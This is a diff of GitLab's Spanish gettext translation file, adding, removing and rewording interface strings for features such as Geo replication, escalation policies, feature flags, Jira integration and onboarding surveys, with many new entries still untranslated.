msgid "Discover GitLab Geo"
msgstr "Descubra GitLab Geo"
@@ -11678,7 +11776,7 @@ msgstr "Borrador"
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr "Fecha de vencimiento"
@@ -11702,9 +11818,6 @@ msgstr "Fecha de vencimiento"
msgid "Duration"
msgstr "Duración"
-msgid "Duration for the last 30 commits"
-msgstr "Duración de los últimos 30 commits"
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr "Durante este proceso, le solicitaremos las URLs de parte de Gitlab.Por favor, utilice las URLs que se muestran a continuación."
@@ -11819,9 +11932,6 @@ msgstr "Editar clave pública de despliegue"
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr "Editar etapa"
-
msgid "Edit this file only."
msgstr "Editar solo este archivo."
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr "Elasticsearch ha devuelto el código de estado: %{status_code}"
@@ -12005,15 +12118,15 @@ msgstr ""
msgid "Embed"
msgstr "Incrustado"
+msgid "Embed an image of your existing Jaeger server in GitLab."
+msgstr ""
+
msgid "Empty file"
msgstr "Archivo vacío"
msgid "Enable"
msgstr "Habilitar"
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
-msgstr ""
-
msgid "Enable Auto DevOps"
msgstr "Activar Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr "Habilitar configuración de espejo"
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr "Habilitar o deshabilitar los atajos de teclado"
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Habilitar o deshabilitar la recolección de datos con Pseudonymizer."
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr "Se ha producido un error mientras se guardaban los asignados"
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr "Se ha producido un error al activar/desactivar la suscripción de las notificaciones"
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr "Se ha producido un error. No es posible desactivar un usuario bloqueado"
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr "Se ha producido un error. No es posible activar un usuario bloqueado"
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr "Se ha producido un error. No se ha bloqueado el usuario"
msgid "Error occurred. User was not confirmed"
msgstr "Se ha producido un error. No se ha confirmado el usuario"
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr "Se ha producido un error. El usuario no estaba desbloqueado"
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr "Errores:"
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr "Estimación"
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr "Cada dos semanas"
msgid "Every week"
-msgstr "Cada semana"
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr "Todas las semanas (%{weekday} a %{time})"
@@ -13663,6 +13826,9 @@ msgstr "Feature Flag"
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr "Detalles de la lista"
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr "Más información"
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr "Entornos de destino"
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr "Se ha producido un error al obtener las Feature Flag."
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr "Arreglado:"
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr "Bifurcado de"
@@ -14469,6 +14647,9 @@ msgstr "nodos secundarios"
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
+msgid "Geo|(%{timeAgo})"
+msgstr ""
+
msgid "Geo|Add site"
msgstr ""
@@ -14523,6 +14707,9 @@ msgstr ""
msgid "Geo|Allowed Geo IP should contain valid IP addresses"
msgstr ""
+msgid "Geo|Checksummed"
+msgstr ""
+
msgid "Geo|Connection timeout can't be blank"
msgstr ""
@@ -14547,6 +14734,9 @@ msgstr ""
msgid "Geo|Data type"
msgstr ""
+msgid "Geo|Disabled"
+msgstr ""
+
msgid "Geo|Discover GitLab Geo"
msgstr ""
@@ -14574,6 +14764,9 @@ msgstr ""
msgid "Geo|Go to the primary site"
msgstr ""
+msgid "Geo|Healthy"
+msgstr ""
+
msgid "Geo|If you want to make changes, you must visit the primary site."
msgstr ""
@@ -14619,6 +14812,9 @@ msgstr "Nunca"
msgid "Geo|Next sync scheduled at"
msgstr "Próxima sincronización programada en"
+msgid "Geo|No available replication slots"
+msgstr ""
+
msgid "Geo|Node name can't be blank"
msgstr "El nombre del nodo no puede estar en blanco"
@@ -14631,10 +14827,16 @@ msgstr ""
msgid "Geo|Not synced yet"
msgstr "Sin sincronizar aún"
+msgid "Geo|Nothing to checksum"
+msgstr ""
+
msgid "Geo|Nothing to synchronize"
msgstr ""
-msgid "Geo|Number of %{title}"
+msgid "Geo|Nothing to verify"
+msgstr ""
+
+msgid "Geo|Offline"
msgstr ""
msgid "Geo|Pending synchronization"
@@ -14799,6 +15001,12 @@ msgstr "La URL debe ser una URL válida (ej: https://gitlab.com)"
msgid "Geo|Undefined"
msgstr ""
+msgid "Geo|Unhealthy"
+msgstr ""
+
+msgid "Geo|Unknown"
+msgstr ""
+
msgid "Geo|Unknown state"
msgstr "Estado desconocido"
@@ -14811,10 +15019,13 @@ msgstr ""
msgid "Geo|Verification failed - %{error}"
msgstr "Se ha producido un error durante la verificación - %{error}"
+msgid "Geo|Verification information"
+msgstr ""
+
msgid "Geo|Verification status"
msgstr ""
-msgid "Geo|Verificaton information"
+msgid "Geo|Verified"
msgstr ""
msgid "Geo|Waiting for scheduler"
@@ -15060,9 +15271,6 @@ msgstr "Forzar HTTPS (requiere certificados válidos)"
msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
-msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
-msgstr "Pueden pasar hasta 30 minutos antes de que el sitio esté disponible después del primer despliegue."
-
msgid "GitLabPages|Maximum size of pages (MB)"
msgstr "Tamaño máximo de páginas (MB)"
@@ -15159,16 +15367,19 @@ msgstr ""
msgid "Gitpod"
msgstr ""
-msgid "Gitpod|Add the URL to your Gitpod instance configured to read your GitLab projects."
-msgstr ""
-
msgid "Gitpod|Enable Gitpod integration"
msgstr ""
msgid "Gitpod|Gitpod URL"
msgstr ""
-msgid "Gitpod|e.g. https://gitpod.example.com"
+msgid "Gitpod|The URL to your Gitpod instance configured to read your GitLab projects, such as https://gitpod.example.com."
+msgstr ""
+
+msgid "Gitpod|To use the integration, each user must also enable Gitpod on their GitLab account. %{link_start}How do I enable it?%{link_end} "
+msgstr ""
+
+msgid "Gitpod|https://gitpod.example.com"
msgstr ""
msgid "Given access %{time_ago}"
@@ -15201,9 +15412,6 @@ msgstr ""
msgid "Go full screen"
msgstr "Ir a pantalla completa"
-msgid "Go to Webhooks"
-msgstr "Ir a los Webhooks"
-
msgid "Go to commits"
msgstr "Ir a commits"
@@ -15258,6 +15466,9 @@ msgstr "Ir al principal"
msgid "Go to previous page"
msgstr ""
+msgid "Go to primary node"
+msgstr ""
+
msgid "Go to project"
msgstr "Ir al proyecto"
@@ -15336,7 +15547,7 @@ msgstr ""
msgid "GrafanaIntegration|Active"
msgstr "Activo"
-msgid "GrafanaIntegration|Enter the Grafana API token."
+msgid "GrafanaIntegration|Enter the %{docLinkStart}Grafana API token%{docLinkEnd}."
msgstr ""
msgid "GrafanaIntegration|Enter the base URL of the Grafana instance."
@@ -15450,6 +15661,9 @@ msgstr ""
msgid "Group info:"
msgstr "Información del grupo:"
+msgid "Group information"
+msgstr ""
+
msgid "Group is required when cluster_type is :group"
msgstr ""
@@ -15510,6 +15724,9 @@ msgstr ""
msgid "Group runners can be managed with the %{link}."
msgstr ""
+msgid "Group sharing provides access to all group members (including members who inherited group membership from a parent group)."
+msgstr ""
+
msgid "Group variables (inherited)"
msgstr "Variables de grupo (heredadas)"
@@ -15531,13 +15748,16 @@ msgstr "Grupo: %{name}"
msgid "GroupActivityMetrics|Issues opened"
msgstr ""
+msgid "GroupActivityMetrics|Last 90 days"
+msgstr ""
+
msgid "GroupActivityMetrics|Members added"
msgstr ""
msgid "GroupActivityMetrics|Merge Requests opened"
msgstr ""
-msgid "GroupActivityMetrics|Recent activity (last 90 days)"
+msgid "GroupActivityMetrics|Recent activity"
msgstr ""
msgid "GroupImport|Failed to import group."
@@ -15600,6 +15820,9 @@ msgstr "Para ver la hoja de ruta, agregue la fecha de inicio o la de vencimiento
msgid "GroupRoadmap|To widen your search, change or remove filters; from %{startDate} to %{endDate}."
msgstr "Para ampliar su búsqueda, cambie o elimine los filtros; desde %{startDate} a %{endDate}."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgstr ""
+
msgid "GroupSAML|Active SAML Group Links (%{count})"
msgstr ""
@@ -15918,9 +16141,6 @@ msgstr "Grupos y proyectos"
msgid "Groups and subgroups"
msgstr "Grupos y subgrupos"
-msgid "Groups can also be nested by creating %{subgroup_docs_link_start}subgroups%{subgroup_docs_link_end}."
-msgstr "Los grupos también se pueden anidar creando %{subgroup_docs_link_start}subgrupos%{subgroup_docs_link_end}."
-
msgid "Groups to synchronize"
msgstr "Grupos para sincronizar"
@@ -15957,22 +16177,31 @@ msgstr "No se encuentran grupos"
msgid "GroupsEmptyState|You can manage your group member’s permissions and access to each project in the group."
msgstr "Puede administrar los permisos y el acceso de cada miembro del grupo a cada proyecto del grupo."
+msgid "GroupsNew|%{linkStart}Groups%{linkEnd} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects. Groups can also be nested by creating subgroups."
+msgstr ""
+
+msgid "GroupsNew|Assemble related projects together and grant members access to several projects at once."
+msgstr ""
+
msgid "GroupsNew|Connect instance"
msgstr ""
msgid "GroupsNew|Contact an administrator to enable options for importing your group."
msgstr ""
-msgid "GroupsNew|Create"
-msgstr "GroupsNew|Crear"
-
msgid "GroupsNew|Create group"
msgstr "GroupsNew|Crear grupo"
+msgid "GroupsNew|Create new group"
+msgstr ""
+
+msgid "GroupsNew|Export groups with all their related data and move to a new GitLab instance."
+msgstr ""
+
msgid "GroupsNew|GitLab source URL"
msgstr ""
-msgid "GroupsNew|Import"
+msgid "GroupsNew|Groups can also be nested by creating %{linkStart}subgroups%{linkEnd}."
msgstr ""
msgid "GroupsNew|Import group"
@@ -16044,7 +16273,7 @@ msgstr "Guía"
msgid "HAR (HTTP Archive)"
msgstr ""
-msgid "HAR file path"
+msgid "HAR file path or URL"
msgstr ""
msgid "HTTP Basic: Access denied\\nYou must use a personal access token with 'api' scope for Git over HTTP.\\nYou can generate one at %{profile_personal_access_tokens_url}"
@@ -16059,6 +16288,9 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
+msgid "Header cannot be associated with both a request and a response"
+msgstr ""
+
msgid "Header logo"
msgstr ""
@@ -16071,6 +16303,18 @@ msgstr ""
msgid "Header message"
msgstr "Encabezado del mensaje"
+msgid "Header must be associated with a request or response"
+msgstr ""
+
+msgid "Heading 1"
+msgstr ""
+
+msgid "Heading 2"
+msgstr ""
+
+msgid "Heading 3"
+msgstr ""
+
msgid "Headings"
msgstr ""
@@ -16187,9 +16431,6 @@ msgstr "Ocultar payload"
msgid "Hide shared projects"
msgstr "Ocultar proyectos compartidos"
-msgid "Hide stage"
-msgstr "Ocultar etapa"
-
msgid "Hide value"
msgid_plural "Hide values"
msgstr[0] "Ocultar valor"
@@ -16219,9 +16460,6 @@ msgstr ""
msgid "HighlightBar|Time to SLA:"
msgstr ""
-msgid "HipChat endpoint is deprecated and should not be created or modified."
-msgstr ""
-
msgid "History"
msgstr "Historial"
@@ -16306,9 +16544,24 @@ msgstr "He olvidado mi contraseña"
msgid "I have read and agree to the Let's Encrypt %{link_start}Terms of Service%{link_end} (PDF)"
msgstr "He leído y acepto los Términos de servicio de %{link_end} Let's Encrypt %{link_start}(PDF)"
+msgid "I want to explore GitLab to see if it’s worth switching to"
+msgstr ""
+
+msgid "I want to learn the basics of Git"
+msgstr ""
+
+msgid "I want to move my repository to GitLab from somewhere else"
+msgstr ""
+
+msgid "I want to use GitLab CI with my existing repository"
+msgstr ""
+
msgid "I'd like to receive updates about GitLab via email"
msgstr ""
+msgid "I'm signing up for GitLab because:"
+msgstr ""
+
msgid "ID"
msgstr "ID"
@@ -16318,9 +16571,6 @@ msgstr "ID:"
msgid "IDE"
msgstr "IDE"
-msgid "IDE|Allow live previews of JavaScript projects in the Web IDE using CodeSandbox Live Preview."
-msgstr ""
-
msgid "IDE|Back"
msgstr "Volver"
@@ -16474,6 +16724,9 @@ msgstr ""
msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
msgstr ""
+msgid "If you've purchased or renewed your subscription and have an activation code, please enter it below to start the activation process."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr "Si su repositorio HTTP no es accesible públicamente, añada sus credenciales."
@@ -16720,6 +16973,9 @@ msgstr ""
msgid "InProductMarketing|%{strong_start}Multiple approval roles%{strong_end} — including code owners and required merge approvals"
msgstr ""
+msgid "InProductMarketing|%{strong_start}Overall, how difficult or easy was it to get started with GitLab?%{strong_end}"
+msgstr ""
+
msgid "InProductMarketing|*GitLab*, noun: a synonym for efficient teams"
msgstr ""
@@ -16753,6 +17009,9 @@ msgstr ""
msgid "InProductMarketing|By enabling code owners and required merge approvals the right person will review the right MR. This is a win-win: cleaner code and a more efficient review process."
msgstr ""
+msgid "InProductMarketing|Click on the number below that corresponds with your answer — 1 being very difficult, 5 being very easy."
+msgstr ""
+
msgid "InProductMarketing|Code owners and required merge approvals are part of the paid tiers of GitLab. You can start a free 30-day trial of GitLab Ultimate and enable these features in less than 5 minutes with no credit card required."
msgstr ""
@@ -16765,9 +17024,18 @@ msgstr ""
msgid "InProductMarketing|Did you know teams that use GitLab are far more efficient?"
msgstr ""
+msgid "InProductMarketing|Difficult"
+msgstr ""
+
msgid "InProductMarketing|Dig in and create a project and a repo"
msgstr ""
+msgid "InProductMarketing|Do you have a minute?"
+msgstr ""
+
+msgid "InProductMarketing|Easy"
+msgstr ""
+
msgid "InProductMarketing|Explore GitLab CI/CD"
msgstr ""
@@ -16780,6 +17048,9 @@ msgstr ""
msgid "InProductMarketing|Facebook"
msgstr ""
+msgid "InProductMarketing|Feedback from users like you really improves our product. Thanks for your help!"
+msgstr ""
+
msgid "InProductMarketing|Feel the need for speed?"
msgstr ""
@@ -16906,6 +17177,9 @@ msgstr ""
msgid "InProductMarketing|Need an alternative to importing?"
msgstr ""
+msgid "InProductMarketing|Neutral"
+msgstr ""
+
msgid "InProductMarketing|Our tool brings all the things together"
msgstr ""
@@ -16945,6 +17219,9 @@ msgstr ""
msgid "InProductMarketing|Streamline code review, know at a glance who's unavailable, communicate in comments or in email and integrate with Slack so everyone's on the same page."
msgstr ""
+msgid "InProductMarketing|Take this 1-question survey!"
+msgstr ""
+
msgid "InProductMarketing|Take your first steps with GitLab"
msgstr ""
@@ -16960,10 +17237,10 @@ msgstr ""
msgid "InProductMarketing|That's all it takes to get going with GitLab, but if you're new to working with Git, check out our %{basics_link} for helpful tips and tricks for getting started."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series."
msgstr ""
-msgid "InProductMarketing|This is email %{series} of 3 in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
+msgid "InProductMarketing|This is email %{current_series} of %{total_series} in the %{track} series. To disable notification emails sent by your local GitLab instance, either contact your administrator or %{unsubscribe_link}."
msgstr ""
msgid "InProductMarketing|Ticketmaster decreased their CI build time by 15X"
@@ -16999,9 +17276,18 @@ msgstr ""
msgid "InProductMarketing|Use GitLab CI/CD"
msgstr ""
+msgid "InProductMarketing|Very difficult"
+msgstr ""
+
+msgid "InProductMarketing|Very easy"
+msgstr ""
+
msgid "InProductMarketing|We know a thing or two about efficiency and we don't want to keep that to ourselves. Sign up for a free trial of GitLab Ultimate and your teams will be on it from day one."
msgstr ""
+msgid "InProductMarketing|We want your GitLab experience to be great"
+msgstr ""
+
msgid "InProductMarketing|What does our value stream timeline look like from product to development to review and production?"
msgstr ""
@@ -17077,6 +17363,9 @@ msgstr ""
msgid "IncidentManagement|%{minutes} minutes remaining"
msgstr ""
+msgid "IncidentManagement|Achieved SLA"
+msgstr ""
+
msgid "IncidentManagement|All"
msgstr ""
@@ -17116,6 +17405,9 @@ msgstr ""
msgid "IncidentManagement|Medium - S3"
msgstr ""
+msgid "IncidentManagement|Missed SLA"
+msgstr ""
+
msgid "IncidentManagement|No incidents to display."
msgstr ""
@@ -17155,6 +17447,9 @@ msgstr ""
msgid "IncidentSettings|Alert integration"
msgstr ""
+msgid "IncidentSettings|Fine-tune incident settings and set up integrations with external tools to help better manage incidents."
+msgstr ""
+
msgid "IncidentSettings|Grafana integration"
msgstr ""
@@ -17170,9 +17465,6 @@ msgstr ""
msgid "IncidentSettings|PagerDuty integration"
msgstr ""
-msgid "IncidentSettings|Set up integrations with external tools to help better manage incidents."
-msgstr ""
-
msgid "IncidentSettings|Time limit"
msgstr ""
@@ -17302,8 +17594,8 @@ msgstr "Indica si este ejecutor puede seleccionar trabajos sin etiquetas"
msgid "Inform users without uploaded SSH keys that they can't push over SSH until one is added"
msgstr "Informa a los usuarios que no hayan cargado las claves SSH que no pueden hacer push sobre SSH hasta que se agregue una"
-msgid "Information about additional Pages templates and how to install them can be found in our %{pages_getting_started_guide}."
-msgstr "Puede encontrar información sobre plantillas de Pages adicionales y cómo instalarlas en nuestro %{pages_getting_started_guide}."
+msgid "Infrastructure"
+msgstr ""
msgid "Infrastructure Registry"
msgstr ""
@@ -17499,10 +17791,10 @@ msgstr ""
msgid "Integrations|Failed to unlink namespace. Please try again."
msgstr ""
-msgid "Integrations|Includes Standard plus entire commit message, commit hash, and issue IDs"
+msgid "Integrations|Includes Standard, plus the entire commit message, commit hash, and issue IDs"
msgstr ""
-msgid "Integrations|Includes commit title and branch"
+msgid "Integrations|Includes commit title and branch."
msgstr ""
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
@@ -17580,7 +17872,7 @@ msgstr ""
msgid "Integrations|Use default settings"
msgstr ""
-msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) is created."
+msgid "Integrations|When you mention a Jira issue in a commit or merge request, GitLab creates a remote link and comment (if enabled)."
msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
@@ -17766,7 +18058,7 @@ msgstr ""
msgid "InviteEmail|As a guest, you can view projects, leave comments, and create issues."
msgstr ""
-msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to master and deploy to production."
+msgid "InviteEmail|As a maintainer, you have full access to projects. You can push commits to the default branch and deploy to production."
msgstr ""
msgid "InviteEmail|As a reporter, you can view projects and reports, and leave comments on issues."
@@ -18000,6 +18292,9 @@ msgstr ""
msgid "Issue Boards"
msgstr "Tablero de incidencias"
+msgid "Issue Type"
+msgstr ""
+
msgid "Issue already promoted to epic."
msgstr ""
@@ -18069,12 +18364,6 @@ msgstr "Estado"
msgid "IssueAnalytics|Weight"
msgstr "Peso"
-msgid "IssueBoards|An error occurred while assigning the selected epic to the issue."
-msgstr ""
-
-msgid "IssueBoards|An error occurred while fetching the assigned epic of the selected issue."
-msgstr ""
-
msgid "IssueBoards|An error occurred while setting notifications status. Please try again."
msgstr ""
@@ -18102,6 +18391,27 @@ msgstr "Cambiar tablero"
msgid "IssueTracker|Custom issue tracker"
msgstr "Gestor de incidencias personalizado"
+msgid "IssueTracker|Issue URL"
+msgstr ""
+
+msgid "IssueTracker|New issue URL"
+msgstr ""
+
+msgid "IssueTracker|The URL to create an issue in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in YouTrack."
+msgstr ""
+
+msgid "IssueTracker|The URL to the project in the external issue tracker."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the YouTrack project. Must contain %{colon_id}."
+msgstr ""
+
+msgid "IssueTracker|The URL to view an issue in the external issue tracker. Must contain %{colon_id}."
+msgstr ""
+
msgid "IssueTracker|Use Bugzilla as this project's issue tracker."
msgstr ""
@@ -18147,6 +18457,9 @@ msgstr "Las incidencias pueden ser errores, tareas o ideas para ser discutidas.
msgid "Issues closed"
msgstr "Incidencias cerradas"
+msgid "Issues manual ordering is temporarily disabled for technical reasons."
+msgstr ""
+
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -18249,6 +18562,9 @@ msgstr ""
msgid "Iterations|Duration"
msgstr ""
+msgid "Iterations|Error loading iteration cadences."
+msgstr ""
+
msgid "Iterations|Future iterations"
msgstr ""
@@ -18258,6 +18574,12 @@ msgstr ""
msgid "Iterations|New iteration cadence"
msgstr ""
+msgid "Iterations|No iteration cadences to show."
+msgstr ""
+
+msgid "Iterations|No iterations in cadence."
+msgstr ""
+
msgid "Iterations|Number of future iterations you would like to have scheduled"
msgstr ""
@@ -18291,15 +18613,15 @@ msgstr ""
msgid "I’m familiar with the basics of DevOps."
msgstr ""
+msgid "I’m joining my team who’s already on GitLab"
+msgstr ""
+
msgid "I’m not familiar with the basics of DevOps."
msgstr ""
msgid "Jaeger URL"
msgstr "URL de Jaeger"
-msgid "Jaeger tracing"
-msgstr "Trazabilidad de Jaeger"
-
msgid "Jan"
msgstr "Ene"
@@ -18321,7 +18643,7 @@ msgstr ""
msgid "Jira integration not configured."
msgstr "Integración con Jira no configurada."
-msgid "Jira project key is not configured"
+msgid "Jira project key is not configured."
msgstr ""
msgid "Jira project: %{importProject}"
@@ -18396,6 +18718,9 @@ msgstr ""
msgid "JiraService|GitLab for Jira Configuration"
msgstr ""
+msgid "JiraService|IDs must be a list of numbers that can be split with , or ;"
+msgstr ""
+
msgid "JiraService|If different from Web URL."
msgstr ""
@@ -18411,11 +18736,11 @@ msgstr "URL del API de JIRA"
msgid "JiraService|Jira Issues"
msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a commit."
-msgstr "Los comentarios de Jira se crearán cuando se haga referencia a una incidencia en un commit."
+msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
+msgstr ""
-msgid "JiraService|Jira comments will be created when an issue gets referenced in a merge request."
-msgstr "Los comentarios de Jira se crearán cuando se haga referencia a una incidencia en un merge request."
+msgid "JiraService|Jira comments are created when an issue is referenced in a merge request."
+msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
@@ -18501,8 +18826,8 @@ msgstr "URL web"
msgid "JiraService|Work on Jira issues without leaving GitLab. Adds a Jira menu to access your list of Jira issues and view any issue as read-only."
msgstr ""
-msgid "JiraService|transition ids can have only numbers which can be split with , or ;"
-msgstr "los ids de transición sólo pueden contener números que se puedan separar mediante , o ;"
+msgid "JiraService|You need to configure Jira before enabling this integration. For more details, read the %{jira_doc_link_start}Jira integration documentation%{link_end}."
+msgstr ""
msgid "Job"
msgstr "Trabajo"
@@ -18549,6 +18874,18 @@ msgstr ""
msgid "Job was retried"
msgstr "Se reintentó el trabajo"
+msgid "JobName|build-job"
+msgstr ""
+
+msgid "JobName|deploy-app"
+msgstr ""
+
+msgid "JobName|lint-test"
+msgstr ""
+
+msgid "JobName|unit-test"
+msgstr ""
+
msgid "Jobs"
msgstr "Trabajos"
@@ -18564,6 +18901,9 @@ msgstr ""
msgid "Jobs|Create CI/CD configuration file"
msgstr "Crear archivo de configuración de CI/CD"
+msgid "Jobs|Job is stuck. Check runners."
+msgstr ""
+
msgid "Jobs|Jobs are the building blocks of a GitLab CI/CD pipeline. Each job has a specific task, like testing code. To set up jobs in a CI/CD pipeline, add a CI/CD configuration file to your project."
msgstr ""
@@ -18657,6 +18997,9 @@ msgstr "con"
msgid "Join Zoom meeting"
msgstr "Unirse a la reunión de Zoom"
